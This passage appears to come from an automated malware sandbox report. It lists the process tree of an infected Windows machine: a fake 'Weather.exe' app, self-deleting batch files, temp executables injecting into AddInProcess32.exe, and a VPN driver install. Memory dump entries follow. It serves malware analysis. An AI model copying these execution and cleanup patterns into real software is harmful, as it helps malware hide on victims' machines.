                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2144 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --mojo-platform-channel-handle=2616 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --mojo-platform-channel-handle=1996 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --mojo-platform-channel-handle=1692 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEFDD0.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:8028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\timeout.exe 5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:8048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEFDD0.bat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEFDD0.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" cls"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEFE9C.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\timeout.exe 5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\timeout.exe 5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEFE9C.bat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEFE9C.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" cls"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              werfault.exe /h /shared Global\bfd3e4e40390455b9c847d60a8adcf9a /t 5500 /p 6080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{645223cc-20f4-0645-bcd5-5170800acc22}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000120"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              werfault.exe /h /shared Global\f5b23e7f8e724ec5ae134aae80d827d4 /t 7748 /p 996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                werfault.exe /h /shared Global\b099e8e8f4104670ad77345803f91fe8 /t 0 /p 6284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      MaskVPNUpdate.exe /silent
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\593E.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\593E.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\5F2A.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\5F2A.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7728.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7728.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7D24.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7D24.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\89E7.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\89E7.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\A62A.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\A62A.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\C03B.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\C03B.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:96
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\E44F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\E44F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4716

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/348-268-0x0000027BB0A70000-0x0000027BB0AD7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/388-254-0x000000001B350000-0x000000001B352000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/616-260-0x00000000047B0000-0x0000000004806000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          344KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/616-259-0x0000000004720000-0x000000000475A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          232KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/940-276-0x0000016FB8340000-0x0000016FB83A7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1056-274-0x000002804CFC0000-0x000002804D027000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1204-282-0x000001F38B8A0000-0x000001F38B907000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1240-286-0x000001E139C60000-0x000001E139CC7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1252-293-0x0000017713500000-0x0000017713606000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1252-266-0x0000017710F70000-0x0000017710FD7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1280-298-0x0000000002C10000-0x0000000002C12000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1336-278-0x000001CA2DCC0000-0x000001CA2DD27000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1504-294-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          80KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1512-283-0x0000000005A20000-0x0000000005AB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          580KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1512-285-0x0000000000400000-0x0000000003DE9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          57.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1788-280-0x000001E4D8FC0000-0x000001E4D9027000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2232-272-0x000001BBF56B0000-0x000001BBF5717000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2240-270-0x0000023E66870000-0x0000023E668D7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2332-257-0x0000000000400000-0x0000000000415000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          84KB

